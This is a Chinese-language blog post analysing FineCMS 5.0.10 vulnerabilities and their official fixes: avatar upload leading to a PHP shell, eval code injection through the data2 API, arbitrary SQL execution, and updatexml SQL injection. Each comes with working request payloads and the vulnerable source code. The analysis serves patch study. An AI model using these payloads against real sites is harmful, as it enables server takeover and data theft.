0x01 前言

已经一个月没有写文章了,最近发生了很多事情,水文一篇。
今天的这个CMS是FineCMS,版本是5.0.10版本的几个漏洞分析,从修补漏洞前和修补后的两方面去分析。

文中的evai是特意写的,因为会触发论坛的防护机制,还有分页那一段的代码也去掉了,因为会触发论坛分页的bug。

0x02 环境搭建

https://www.ichunqiu.com/vm/59011/1 可以去i春秋的实验,不用自己搭建那么麻烦了。

0x03 任意文件上传漏洞

1.漏洞复现

用十六进制编辑器写一个有一句话的图片
去网站注册一个账号,然后到上传头像的地方。
抓包,把jepg的改成php发包。

可以看到文件已经上传到到/uploadfile/member/用户ID/0x0.php

2.漏洞分析

文件:finecms/dayrui/controllers/member/Account.php 177~244行

  1. /**
  2. *  上传头像处理
  3. *  传入头像压缩包,解压到指定文件夹后删除非图片文件
  4. */
  5. public function upload() {
  6.     // 创建图片存储文件夹
  7.     $dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/';
  8.     @dr_dir_delete($dir);
  9.     !is_dir($dir) && dr_mkdirs($dir);
  10.     if ($_POST['tx']) {
  11.         $file = str_replace(' ', '+', $_POST['tx']);
  12.         if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
  13.             $new_file = $dir.'0x0.'.$result[2];
  14.             if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
  15.                 exit(dr_json(0, '目录权限不足或磁盘已满'));
  16.             } else {
  17.                 $this->load->library('image_lib');
  18.                 $config['create_thumb'] = TRUE;
  19.                 $config['thumb_marker'] = '';
  20.                 $config['maintain_ratio'] = FALSE;
  21.                 $config['source_image'] = $new_file;
  22.                 foreach (array(30, 45, 90, 180) as $a) {
  23.                     $config['width'] = $config['height'] = $a;
  24.                     $config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2];
  25.                     $this->image_lib->initialize($config);
  26.                     if (!$this->image_lib->resize()) {
  27.                         exit(dr_json(0, '上传错误:'.$this->image_lib->display_errors()));
  28.                         break;
  29.                     }
  30.                 }
  31.                 list($width, $height, $type, $attr) = getimagesize($dir.'45x45.'.$result[2]);
  32.                 !$type && exit(dr_json(0, '图片字符串不规范'));
  33.             }
  34.         } else {
  35.             exit(dr_json(0, '图片字符串不规范'));
  36.         }
  37.     } else {
  38.         exit(dr_json(0, '图片不存在'));
  39.     }
  40. // 上传图片到服务器
  41.     if (defined('UCSSO_API')) {
  42.         $rt = ucsso_avatar($this->uid, file_get_contents($dir.'90x90.jpg'));
  43.         !$rt['code'] && $this->_json(0, fc_lang('通信失败:%s', $rt['msg']));
  44.     }
  45.     exit('1');
  46. }

这个我记得在5.0.8的版本有讲过这个代码的漏洞执行https://getpass.cn/2018/01/30/The%20latest%20version%20of%20FineCMS%205.0.8%20getshell%20daily%20two%20holes/

后来官方修复的方案是加上了白名单了:

  1.                 if (!in_array(strtolower($result[2]), array('jpg', 'jpeg', 'png', 'gif'))) {
  2.                     exit(dr_json(0, '目录权限不足'));
  3.                 }
  4.                 ...
  5.                  $c = 0;
  6.                     if ($fp = @opendir($dir)) {
  7.                         while (FALSE !== ($file = readdir($fp))) {
  8.                             $ext = substr(strrchr($file, '.'), 1);
  9.                             if (in_array(strtolower($ext), array('jpg', 'jpeg', 'png', 'gif'))) {
  10.                                 if (copy($dir.$file, $my.$file)) {
  11.                                     $c++;
  12.                                 }
  13.                             }
  14.                         }
  15.                         closedir($fp);
  16.                     }
  17.                     if (!$c) {
  18.                         exit(dr_json(0,  fc_lang('未找到目录中的图片')));
  19.                     }

0x04 任意代码执行漏洞

1.漏洞复现

auth下面的分析的时候会说到怎么获取

浏览器输入:
http://getpass1.cn/index.php?c=api&m=data2&auth=582f27d140497a9d8f048ca085b111df¶m=action=cache%20name=MEMBER.1%27];phpinfo();$a=[%271

2.漏洞分析

这个漏洞的文件在/finecms/dayrui/controllers/Api.phpdata2()

  1. public function data2() {
  2.         $data = array();
  3.         // 安全码认证
  4.         $auth = $this->input->get('auth', true);
  5.         if ($auth != md5(SYS_KEY)) {
  6.             // 授权认证码不正确
  7.             $data = array('msg' => '授权认证码不正确', 'code' => 0);
  8.         } else {
  9.             // 解析数据
  10.             $cache = '';
  11.             $param = $this->input->get('param');
  12.             if (isset($param['cache']) && $param['cache']) {
  13.                 $cache = md5(dr_array2string($param));
  14.                 $data = $this->get_cache_data($cache);
  15.             }
  16.             if (!$data) {
  17.                 // list数据查询
  18.                 $data = $this->template->list_tag($param);
  19.                 $data['code'] = $data['error'] ? 0 : 1;
  20.                 unset($data['sql'], $data['pages']);
  21.                 // 缓存数据
  22.                 $cache && $this->set_cache_data($cache, $data, $param['cache']);
  23.             }
  24.         }
  25.         // 接收参数
  26.         $format = $this->input->get('format');
  27.         $function = $this->input->get('function');
  28.         if ($function) {
  29.             if (!function_exists($function)) {
  30.                 $data = array('msg' => fc_lang('自定义函数'.$function.'不存在'), 'code' => 0);
  31.             } else {
  32.                 $data = $function($data);
  33.             }
  34.         }
  35.         // 页面输出
  36.         if ($format == 'php') {
  37.             print_r($data);
  38.         } elseif ($format == 'jsonp') {
  39.             // 自定义返回名称
  40.             echo $this->input->get('callback', TRUE).'('.$this->callback_json($data).')';
  41.         } else {
  42.             // 自定义返回名称
  43.             echo $this->callback_json($data);
  44.         }
  45.         exit;
  46.         }

可以看到开头这里验证了认证码:

  1. // 安全码认证
  2.     $auth = $this->input->get('auth', true);
  3.     if ($auth != md5(SYS_KEY)) {
  4.         // 授权认证码不正确
  5.         $data = array('msg' => '授权认证码不正确', 'code' => 0);
  6.     } else {

授权码在/config/system.php

可以看到SYS_KEY是固定的,我们可以在Cookies找到,/finecms/dayrui/config/config.php

用浏览器查看Cookies可以看到KEY,但是验证用MD5,我们先把KEY加密就行了。

直接看到这一段,调用了Template对象里面的list_tag函数

  1. if (!$data) {
  2.                 // list数据查询
  3.                 $data = $this->template->list_tag($param);
  4.                 $data['code'] = $data['error'] ? 0 : 1;
  5.                 unset($data['sql'], $data['pages']);
  6.                 // 缓存数据
  7.                 $cache && $this->set_cache_data($cache, $data, $param['cache']);
  8.             }

我们到finecms/dayrui/libraries/Template.phplist_tag函数的代码,代码有点长,我抓重点的地方,这里把param=action=cache%20name=MEMBER.1%27];phpinfo();$a=[%271的内容分为两个数组$var$val,这两个数组的内容分别为

  1. $var=['action','name']
  2. $val=['cache%20','MEMBER.1%27];phpinfo();$a=[%271']

$cache=_cache_var是返回会员的信息
重点的是下面的 @evai('$data=$cache'.$this->_get_var($_param).';');

  1. foreach ($params as $t) {
  2.             $var = substr($t, 0, strpos($t, '='));
  3.             $val = substr($t, strpos($t, '=') + 1);

再看这一段,因为swtich选中的是cache,所有就不再进行下面的分析了。
$pos = strpos($param['name'], '.');这句是为下面的substr函数做准备。
是为了分离出的内容为

  1. $_name='MEMBER'
  2. $_param="1%27];phpinfo();$a=[%271"
  1. // action
  2.         switch ($system['action']) {
  3.             case 'cache': // 系统缓存数据
  4.                 if (!isset($param['name'])) {
  5.                     return $this->_return($system['return'], 'name参数不存在');
  6.                 }
  7.                 $pos = strpos($param['name'], '.');
  8.                 if ($pos !== FALSE) {
  9.                     $_name = substr($param['name'], 0, $pos);
  10.                     $_param = substr($param['name'], $pos + 1);
  11.                 } else {
  12.                     $_name = $param['name'];
  13.                     $_param = NULL;
  14.                 }
  15.                 $cache = $this->_cache_var($_name, !$system['site'] ? SITE_ID : $system['site']);
  16.                 if (!$cache) {
  17.                     return $this->_return($system['return'], "缓存({$_name})不存在,请在后台更新缓存");
  18.                 }
  19.                 if ($_param) {
  20.                     $data = array();
  21.                     @evai('$data=$cache'.$this->_get_var($_param).';');
  22.                     if (!$data) {
  23.                         return $this->_return($system['return'], "缓存({$_name})参数不存在!!");
  24.                     }
  25.                 } else {
  26.                     $data = $cache;
  27.                 }
  28.                 return $this->_return($system['return'], $data, '');
  29.                 break;

跟踪get_var函数,在这里我们先把$param的内容假设为a,然后执行函数里面的内容,最后返回的$string的内容是:
$string=['a']
那么我们的思路就是把两边的[' ']闭合然后再放上恶意的代码。
payload为:1'];phpinfo();$a=['1
那么返回的$string的内容:
$string=['1'];phpinfo();$a=['1']

  1. public function _get_var($param) {
  2.         $array = explode('.', $param);
  3.         if (!$array) {
  4.             return '';
  5.         }
  6.         $string = '';
  7.         foreach ($array as $var) {
  8.             $string.= '[';
  9.             if (strpos($var, '$') === 0) {
  10.                 $string.= preg_replace('/\[(.+)\]/U', '[\'\\1\']', $var);
  11.             } elseif (preg_match('/[A-Z_]+/', $var)) {
  12.                 $string.= ''.$var.'';
  13.             } else {
  14.                 $string.= '\''.$var.'\'';
  15.             }
  16.             $string.= ']';
  17.         }
  18.         return $string;
  19.     }

修复后的_get_var函数里面多了一个dr_safe_replace过滤函数,然后data2()删除了。

  1. public function _get_var($param) {
  2.         $array = explode('.', $param);
  3.         if (!$array) {
  4.             return '';
  5.         }
  6.         $string = '';
  7.         foreach ($array as $var) {
  8.             $var = dr_safe_replace($var);
  9.             $string.= '[';
  10.             if (strpos($var, '$') === 0) {
  11.                 $string.= preg_replace('/\[(.+)\]/U', '[\'\\1\']', $var);
  12.             } elseif (preg_match('/[A-Z_]+/', $var)) {
  13.                 $string.= ''.$var.'';
  14.             } else {
  15.                 $string.= '\''.$var.'\'';
  16.             }
  17.             $string.= ']';
  18.         }
  19.         return $string;
  20.     }

dr_safe_replace()

  1. function dr_safe_replace($string) {
  2.     $string = str_replace('%20', '', $string);
  3.     $string = str_replace('%27', '', $string);
  4.     $string = str_replace('%2527', '', $string);
  5.     $string = str_replace('*', '', $string);
  6.     $string = str_replace('"', '"', $string);
  7.     $string = str_replace("'", '', $string);
  8.     $string = str_replace('"', '', $string);
  9.     $string = str_replace(';', '', $string);
  10.     $string = str_replace('<', '<', $string);
  11.     $string = str_replace('>', '>', $string);
  12.     $string = str_replace("{", '', $string);
  13.     $string = str_replace('}', '', $string);
  14.     return $string;
  15. }

0x05 任意SQL语句执行1

1.漏洞复现

浏览器:

http://getpass1.cn/index.php?c=api&m=data2&auth=582f27d140497a9d8f048ca085b111df¶m=action=sql%20sql=%27select%20version();%27

2.漏洞分析

这里就不用debug模式去跟进了,有不懂CI框架的数据库操作可以去看官方文档http://codeigniter.org.cn/user_guide/database/index.html

问题一样出在finecms/dayrui/controllers/Api.php中的data2(),可以直接去看finecms/dayrui/libraries/Template.php里面的list_tag()函数

fenye

这里想说一下就是preg_match这个函数的作用,他匹配过后sql是一个数组:

  1. array(2) {
  2.   [0]=>
  3.   string(23) "sql='select version();'"
  4.   [1]=>
  5.   string(17) "select version();"
  6. }

这里判断了开头的位置是否只使用了select

  1. if (stripos($sql, 'SELECT') !== 0) {
  2.                         return $this->_return($system['return'], 'SQL语句只能是SELECT查询语句');

再往下看,这一句才是执行SQL的地方,传入sql内容和$system['site']默认是1,$system['cache'] 默认缓存时间是3600

  1. $data = $this->_query($sql, $system['site'], $system['cache']);

继续跟进_query()函数

  1. public function _query($sql, $site, $cache, $all = TRUE) {
  2.         echo $this->ci->site[$site];
  3.         // 数据库对象
  4.         $db = $site ? $this->ci->site[$site] : $this->ci->db;
  5.         $cname = md5($sql.dr_now_url());
  6.         // 缓存存在时读取缓存文件
  7.         if ($cache && $data = $this->ci->get_cache_data($cname)) {
  8.             return $data;
  9.         }
  10.         // 执行SQL
  11.         $db->db_debug = FALSE;
  12.         $query = $db->query($sql);
  13.         if (!$query) {
  14.             return 'SQL查询解析不正确:'.$sql;
  15.         }
  16.         // 查询结果
  17.         $data = $all ? $query->result_array() : $query->row_array();
  18.         // 开启缓存时,重新存储缓存数据
  19.         $cache && $this->ci->set_cache_data($cname, $data, $cache);
  20.         $db->db_debug = TRUE;
  21.         return $data;
  22.     }

没有对函数进行任何过滤$query = $db->query($sql);,直接带入了我们的语句。

官方的修复方法:删除了data2()函数

0x06 任意SQL语句执行2

1.漏洞复现

浏览器:

http://getpass1.cn/index.php?s=member&c=api&m=checktitle&id=1&title=1&module=news,(select%20(updatexml(1,concat(1,(select%20user()),0x7e),1)))a

2. 漏洞分析

文件在finecms/dayrui/controllers/member/Api.phpchecktitle()函数

  1.     public function checktitle() {
  2.         $id = (int)$this->input->get('id');
  3.         $title = $this->input->get('title', TRUE);
  4.         $module = $this->input->get('module');
  5.         (!$title || !$module) && exit('');
  6.         $num = $this->db->where('id<>', $id)->where('title', $title)->count_all_results(SITE_ID.'_'.$module);
  7.         echo $num;
  8.         $num ? exit(fc_lang('<font color=red>'.fc_lang('重复').'</font>')) : exit('');
  9.     }

其他的没什么过滤,主要是CI框架里面的一些内置方法,比如count_all_results,可以到http://codeigniter.org.cn/user_guide/database/query_builder.html?highlight=count_all_results#CI_DB_query_builder::count_all_results  查看用法

还有一个就是SITE_ID变量,它是指

站点是系统的核心部分,各个站点数据独立,可以设置站点分库管理

剩下也没什么可分析了,不懂updatexml语句可以看下面的参考链接

0x07 结束

还有一个远程命令执行漏洞没能复现,是在api的html()函数,说是可以用&来突破,但是evai只能用;来结束语句的结束。

  1. function dr_safe_replace($string) {
  2.     $string = str_replace('%20', '', $string);
  3.     $string = str_replace('%27', '', $string);
  4.     $string = str_replace('%2527', '', $string);
  5.     $string = str_replace('*', '', $string);
  6.     $string = str_replace('"', '"', $string);
  7.     $string = str_replace("'", '', $string);
  8.     $string = str_replace('"', '', $string);
  9.     $string = str_replace(';', '', $string);
  10.     $string = str_replace('<', '<', $string);
  11.     $string = str_replace('>', '>', $string);
  12.     $string = str_replace("{", '', $string);
  13.     $string = str_replace('}', '', $string);
  14.     return $string;
  15. }

FineCMS 5.0.10 多个 漏洞详细分析过程的更多相关文章

  1. 技能篇丨FineCMS 5.0.10 多个漏洞详细分析

    今天是一篇关于技能提升的文章,文章中的CMS是FineCMS,版本是5.0.10版本的几个漏洞分析,主要内容是介绍漏洞修补前和修补后的分析过程,帮助大家快速掌握该技能. 注:篇幅较长,阅读用时约7分钟 ...

  2. Tomcat7.0.22在Windows下详细配置过程

    Tomcat7.0.22在Windows下详细配置过程 一.JDK1.7安装 1.下载jdk,下载地址:http://www.oracle.com/technetwork/java/javase/do ...

  3. CVE-2019-11477:Linux 内核中TCP协议栈整数溢出漏洞详细分析 代码卫士 今天

    CVE-2019-11477:Linux 内核中TCP协议栈整数溢出漏洞详细分析 代码卫士 今天

  4. 一个DOS攻击木马的详细分析过程

    一个DOS攻击木马的详细分析过程 0×01 起因 网路流量里发现了大量的的1.exe的文件,而且一直在持续,第一感觉就像是一个木马程序,而且每个1.exe的MD5都不一样,对比发现只有几个字节不一样( ...

  5. 10.hibernate缓存机制详细分析(转自xiaoluo501395377)

    hibernate缓存机制详细分析   在本篇随笔里将会分析一下hibernate的缓存机制,包括一级缓存(session级别).二级缓存(sessionFactory级别)以及查询缓存,当然还要讨论 ...

  6. Shiro RememberMe 1.2.4远程代码执行漏洞-详细分析

    本文首发于先知: https://xz.aliyun.com/t/6493 0x01.漏洞复现 环境配置 https://github.com/Medicean/VulApps/tree/master ...

  7. Linux下安装redis的详细过程(redis版本为4.0.10)

    1.安装redis步骤 1.推荐进入到linux路径/usr/local/src 2.$ wget http://download.redis.io/releases/redis-4.0.10.tar ...

  8. 基于Web的Kafka管理器工具之Kafka-manager的编译部署详细安装 (支持kafka0.8、0.9和0.10以后版本)(图文详解)(默认端口或任意自定义端口)

    不多说,直接上干货! 至于为什么,要写这篇博客以及安装Kafka-manager? 问题详情 无奈于,在kafka里没有一个较好自带的web ui.启动后无法观看,并且不友好.所以,需安装一个第三方的 ...

  9. CSRF漏洞详细说明

    CSRF漏洞详细说明 通常情况下,有三种方法被广泛用来防御CSRF攻击:验证token,验证HTTP请求的Referer,还有验证XMLHttpRequests里的自定义header.鉴于种种原因,这 ...

随机推荐

  1. node.js 调试 eggs launch.json配置信息

    { // 使用 IntelliSense 了解相关属性. // 悬停以查看现有属性的描述. // 欲了解更多信息,请访问: https://go.microsoft.com/fwlink/?linki ...

  2. sort 对多列进行排序

    sort -t '\t' -k 3,3 -k 2,2 文件名  # 先对第三列进行排序,然后再对第二列进行排序

  3. http 自定义信息头(header)设置与获取

    一.后端设置(如:java) 在你服务端(如:java)返回的时候写上: res.setHeader("Access-Control-Expose-Headers",propNam ...

  4. session随笔

    ·由于cookie中不能保存很多信息,于是Session出现来完成这个功能. ·Session的作用就是在服务器保存一些保存一些用户的数据,然后传递给用户一个名字为JSESSIONID的Cookie, ...

  5. Scrapy爬虫框架的学习

    第一步安装 首先得安装它,我使用的pip安装的 因为我电脑上面安装了两个python,一个是python2.x,一个是python3.x,所以为了区分,所以,在cmd中,我就使用命令:python2 ...

  6. 关于python的展望

    在未接触这门课程以前,我完全对编程一类的操作毫无兴趣.但在短短的两星期时间里,我改变了想法,原因有二.其一是老师幽默,其二是课程实用性高.我希望课程以后可以继续沿用现在由浅入深,给予足够提示的方式,引 ...

  7. new-xml-data

    ~<cyfxml> <hhis> <hhi name="大货系统" is-sub-item-folder="True" is-su ...

  8. ili 一例业务系统框架

    ili即ilinei的简称,像名字一样,是ILINEI团队的内部项目简化而来.2017年金鸡报晓,我们为同行送来了一个简单.快速.轻量级的PHP开源系统,它的任务当然也是唯一的任务,就是提高WEB开发 ...

  9. day31并发

    以后你为之奋斗的两点: 提高cpu的利用率 提高用户的体验  1.纯概念/纯方法 操作系统的发展历程 #主要的人机矛盾是什么:CPU的使用率 #输入\输出数据和CPU计算没有关系 #操作系统是怎么进化 ...

  10. 《Linux就该这么学》第十二天课程

    使用ssh服务管理远程主机 绑定两块网卡 原创地址:https://www.linuxprobe.com/chapter-09.html 第1步:在虚拟机系统中再添加一块网卡设备,请确保两块网卡都处在 ...